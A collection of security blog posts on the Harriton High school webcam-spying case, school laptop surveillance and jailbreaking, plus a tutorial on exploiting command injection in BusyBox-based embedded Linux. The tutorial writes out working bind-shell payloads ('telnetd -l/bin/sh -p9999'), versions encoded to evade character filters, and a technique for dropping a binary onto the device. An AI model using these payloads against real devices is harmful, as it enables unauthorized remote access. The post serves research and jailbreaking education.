Webcam Activation Illegal?

I wanted to briefly mention the great follow-up reporting going on at Philly.com on the Harriton High spycam case. This article contains so much great detail and investigative reporting that to summarize it here wouldn't do it justice; if you're following this case, I encourage you to read the whole thing. I wanted to briefly call out one detail, however. There's been a lot of commentary on this blog to the effect that the school might have been within its legal boundaries when activating webcams remotely for the purpose of theft tracking. Not being a lawyer, I've been hesitant to render a legal opinion. However, I find this quote telling:

Joseph Daly, who retired in 2009 as Lower Merion police superintendent, said he never knew that his department was being furnished with pictures snapped from students' laptops.

"God, no, I don't remember that," he said when told about it. "That's illegal as hell."

Well then. Unless he's been grossly misquoted, I believe we have an expert opinion at last.

-stryde.hax

Where Have All the Hackers Gone?

Recently a high school in Pennsylvania shocked the nation when it became the subject of a lawsuit alleging that webcams in school-issued laptop computers were being remotely activated by school staff, used to snap photos of students in their homes. As a computer security professional I dug into the story with the help of my colleagues, and together we found that the networked webcam capability built into these computers by the school district was absolutely real. Our findings were greeted with surprise and dismay; they have caused a nationwide outcry. The truth is, this shouldn't have been a surprise. America has been on this road for years.

Nearly every wired school district in America uses some form of remote administration software. This software varies in the degree of control that it exerts over student computers. The trend started with web filtering and progressed to allow remote use of student's desktops by teachers. Some advanced schools now allow surreptitious eavesdropping of student's desktops while they are working. Today on the cutting edge of this trend is Harriton High, with thousands of taxpayer purchased laptops issued to children, and school staff armed with the ability to take remote webcam pictures of the students at will. This isn't a revolution, it's just a bump on the ride.

Historian James Bradley writes in FlyBoys about a nation of young men growing up in pre-WWII America tinkering, modifying, and optimizing a new wave of internal combustion powered machines. Bradley talks about the inherent advantage that this generation of tinkers gave America in the coming aerial conflict, where pushing new technology to its limits was the key to a new form of warfare: aerial combat. When it comes to information technology, it's time we ask ourselves: where will we find our next generation of computing tinkers? This problem is only now becoming apparent at a national level. The US Air Force is currently holding Cyber Defense competitions at the high school level, nationwide. The Defense Advanced Research Projects Agency (DARPA) recently released a paper stating that the United States will be “hampered” by its projected dearth of expertise in Internet technologies and information security: “we are steadily losing the engineering talent to project these systems .” As our government begins to identify a critical shortage that has been evident in my industry for years as a national security threat, I believe it is time we asked ourselves: “Where have all the hackers gone?”

The answer is that we've stopped making them. Before building Apple Computer, Jobs & Wozniak hacked the phone system. I grew up hacking the computer they built, the Apple ][. Critical events in my personal and professional development were dependent on my ability to access the core of how computers worked in order to understand them, re-purpose them, and harness them to my will. The Greatest Generation supercharged their Chevys; my generation peeked and poked at the internal memory of our Apple computers. Today's generation is growing up in a new era of “jailed” devices, devices like the laptops at Harriton, which were jailed against any student use except approved applications. To tinker with these computers, students were first required to “jailbreak”, a technical feat which would have given students the freedom to understand their computers and to determine who was remotely activating their webcams. Not surprisingly, jailbreaking carried the threat of stringent penalties from the school. A student locked inside a digital jail of this type could never start down the road of digital proficiency necessary to reach the finish line DARPA is asking for.

Digital jails are not solely the realm of education. Devices like the Amazon Kindle and Apple iPhone are jailed against any unauthorized consumer use, guarded by strict but unproven new federal laws against jailbreaking them. Jailed devices are controlled by a networked authority, be it a company like Apple, a school district, an employer, or a government. Jailed devices teach a different kind of lesson to the people who use them: your camera may be monitored, your books may be deleted, your work process may be watched. And most importantly, your attempts to delve into the mysteries of how the device functions will be punished.

We've reached a fork in the road at Harriton High. As the nation watches, we're pondering the consequences of transforming computing devices from machines that we control into machines which exert control over us. As we give away our freedom to tinker, we give away the chance to raise a generation which will lead the information age. It is now time to decide as consumers, as parents, and as a nation which road we will take into the future. I believe that students cannot learn to protect themselves against Internet threats unless they are taught that the power of the Internet comes with a price tag to be paid in responsibility. The responsibility to learn, understand, and master digital self defense. The responsibility to peer inside the machine in order to master it. In order to take on this responsibility, we need to loosen our grip on the reigns and let our children show us the way.

-stryde.hax

Busybox Command Injection

Linux Inside

The number of Linux-powered devices on the market is exploding. As this CCC paper points out, Linux is finding its way into everything - GPS units, television set tops, phones, routers, the works. That leaves a lot of hacking to be done, and this last month I got to spend some time with Intrepidus jailbreaking and exploiting some embedded devices. One big surprise I encountered was the difficulty of landing even simple command-injection vulnerabilities on embedded Linux.

I can't believe it's not Linux

The big problem with a lot of embedded Linux devices is they're not really running Linux. If you haven't heard of Busybox before, it's the core functionality of Linux condensed into a single multi-call binary. Busybox offers embedded device developers a simple distribution of Linux without the large filesize footprint and complexity of porting a full Linux toolchain to embedded hardware. From a hacker's perspective, an embedded Busybox install can pose some unique challenges, especially if you're throwing your exploit "blind", without the ability to see error messages:

• busybox's ash shell lacks the full functionality of bash and other shells


• busybox's available functionality depends on compile options chosen by the developers, so every device has the potential to pose unique challenges


• busybox's implementation of most commands has slightly different functionality and different command line flags than the corresponding Linux versions


• Standard pipe-redirect callback shells often fail; in fact, I've never gotten a standard two-window "telnet | ash | telnet" shell to work on busybox.

What's Command Injection?

Command injection vulnerabilities are usually some of the simplest exploits to land, requiring no assembly and only a little shell knowledge. They can occur whenever developers use user-supplied data as an argument to a shell command. This can happen in a number of ways, and writing a complete reference on all the ways this type of bug can manifest itself is a large topic; OWASP has a good writeup on programmatic (system call) command injection. This writeup isn't about how injection works; it's about how you can exploit injection on busybox. Here's where things get weird.

busybox sh


BusyBox v1.1.3 Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ $ ping 127.0.0.1
ping: permission denied. (are you root?)

Busybox isn't quite Linux! If you are attempting to find or exploit a "blind" command injection vuln and the target process is not a superuser process, using ping to "beacon" out to your attack box won't work, because on busybox ping requires superuser privs. Telnet is a better beacon choice, as it is part of the default build process and must be manually removed.

Chaining Commands: Nothing New Here

The basics of adding execution to an input argument don't change much with busybox's shell:

~ $ true;echo Execution
Execution
~ $ false;echo Execution
Execution
~ $ true|echo Execution 
Execution
~ $ false|echo Execution
Execution
~ $ false||echo Execution
Execution
~ $ true&&echo Execution 
Execution
~ $ echo `echo Execution`
Execution
~ $ echo $(echo Execution)
Execution

Getting Access

The absolute easiest way to try to get access to a busybox install via command injection is telnetd. Busybox's telnetd is different: on a normal telnetd install the "-l" flag enables line mode, but on busybox, -l specifies the command to use to challenge the user. That means if you specify the busybox shell, you get a shell without a user/pass prompt:

telnetd -l/bin/sh

That's the shortest possible string that can land a shell on a busybox system. Of course, here's where things get tricky. If telnet is already open, this will fail; it will also fail to bind a priveleged port when run as a non-root user. Finally, if the environment does not contain a valid path value, the command will fail.

/bin/busybox telnetd -l/bin/sh -p9999

The command above will bind a telnet shell to port 9999 without a path value and without running as root. Of course, now things get difficult.

Restrictions

Sample exploit conditions are always easy to land and never have anything annoying in the way like character filters or buffer lengths. The real world is different; exploitation often requires circumventing limitations. As far as length goes, the commands above pretty much cover the shortest possible exploit strings. Character set limitations are a different story. Embedded device character set limitations can be pretty heavy duty, enforced by on-screen-keyboards, security character filters, and other methods. A common limitation is space-bounded copy, generated by a tokenizer which clips a supplied argument to everything up to the first instance of whitespace. Here are some ways to work around these limitations:

~ $ echo -e \\x7c\\x7c\\x2e
||.
~ $ printf \\x7c\\x2e\\x0a
|.

Busybox supports evaluation of slash-escaped characters both using echo and the shell builtin printf. This can be used to encode a lot of the characters that are often stripped. Different execution methods require different levels of escaping. Here are some combinations that work; note that I have included the command "true" to show where a successful system command would lie in the overall exploit.

true|/bin/busybox telnetd -l/bin/sh -p9999
# Character set required: -/

true|eval $(printf telnetd\\x20\\x2dl\\x2fbin\\x2fsh\\x20\\x2dp9999)
# Character set required: $()\ 

true|eval `printf telnetd\\\\x20\\\\x2dl\\\\x2fbin\\\\x2fsh\\\\x20\\\\x2dp9999`
# Character set required: `\

If you're attempting to jailbreak a potential busybox device, and you're fuzzing a net-facing service, the strings above coupled with a good [&& / || / | / ; / $() / ``] regular expression should get you started; just monitor port 9999. If you manage to land on a device with the methods I've listed here, drop me a line and let me know how it went down. If you're determined to drop a binary on the device a few bytes at a time, this should get you started:

eval echo -n $(echo -e -n \\xde\\xad\\xbe\\xef $(printf \\x3e\\x3e\\x2ftmp\\x2fig))

Notes on Other Exploit Methods

There are plenty of ways to get onto a Unix-based system like busybox other than binding a shell, however often embedded devices have unique restrictions. Concatenating a user you control to /etc/passwd can silently fail on a readonly filesystem, a very common occurrence on embedded devices. Concatenating binaries from the shell requires precise knowledge of the architecture target type. And when you're jailbreaking, failure is almost universally silent. Good luck,

-stryde.hax

Schools Systems Weigh Benefits of Child Porn Roulette

To Catch a Thief (Naked?)

The story of remotely activated webcams in school laptop programs appears to be a nationwide phenomenon. The media outcry over Harriton High appears to have completely missed the fact that an even larger 1:1 educational laptop program has been using webcams for theft tracking for years as well. This great survey reporting from Philly.com shows a wide ranging reaction from school officials regarding remote laptop activation, from those that get it, to those who don't, those that are quietly deleting their webcam access, and those who... wait, huh, what?

"I didn't even know a computer has the ability to do that"
- Dan Domenech, Executive Director of the American Association of School Administrators

"We had discussed it, but decided not to touch it with a 10-foot pole. ... What if it accidentally started taking pictures? ... You could have an 11-year-old child who steps out of the shower and is toweling off. You could have child pornography. ... Everything is about risk - the risk of losing a device vs. the disaster that can occur ... I would rather lose a computer than hurt a child."
- Jeff Mao, Maine Department of Education

"the McCracken County, Ky., school district began removing tracking software from laptop computers assigned to high school students. Technicians are deleting software that allows access to Web cams and monitors usage on 2,170 laptops"

"In the Henrico County, Va., public schools, which also have a large laptop program, the remotely operated Web cams are disengaged until a computer is stolen. About 26,000 laptops have been issued to students"

You read that right. Harriton is just the tip of the iceberg. Henrico County has been activating their laptop webcams too, and by their admitted numbers, more often than Harriton High:

"Henrico schools spokesman Mychael Dickerson said yesterday that the system has remotely activated cameras 50 times in the past three years to locate computers stolen from elementary schools. Those computers do not go home with students. Of those, 20 have been recovered. The other cases still are under investigation, he said."

Putting aside the amazingly low success ratio apparently quoted above, this means that yet another school district is opting to take pictures of "We'll Find Out What" when laptops go missing. Or as Jeff Mao so eloquently alludes to, they're playing Child Porn Roulette and betting to win in order to find laptops. Unfortunately the ACLU has waded into the fray, armed with all kinds of crazy ideas like "search warrants" and "wiretaps", acting like a total buzzkill and basically spewing common sense everywhere:

"In May of 2009, NBC12 reported the theft of several laptops from Pinchbeck Elementary School. School officials used the police report number -not a warrant- to activate a camera which clearly revealed the suspect, who was arrested a week later, and eventually pled guilty. Now, the ACLU claims that could be an illegal invasion of one's privacy...even that, of a thief."

My personal favorite part of this article is the reporter's shocked tone at the idea that accused criminals have rights. But it's important to note that a warrant was never issued for this search. And that brings me to a really important question regarding search warrants, and their eventual use in programs like this. How does one fill out a webcam search warrant?

We're Going to Search... Something!

If you take a look at the top of the form, you'll see "Name, Address ... premises to be searched". This has always been a part of search warrant forms. With the way webcam theft tracking works, we'll need a new type of search warrant: Location To Be Determined After Search. When these laptops wake up and retrieve orders to activate their webcams, they can literally be anywhere. They can be in a child's bedroom, in a foreign embassy, in a conference room in the hands of someone who inadvertently purchased a hot laptop off Ebay, in a SCIF, or anywhere else in the world. And so, we will need to be able to write search warrants that are valid anywhere on the planet. Or, just maybe, that's impossible, and the process of having to get a search warrant in the first place will reveal how truly ludicrous this entire scheme really is. For now, that quiet whirring sound is the sound of administrators across the country deleting their webcam folder.

-stryde.hax

---

PostScript: "For this school district to develop police powers in secret and then exercise those powers in secret is problematic and disturbing"
-Lillie Coney, EPIC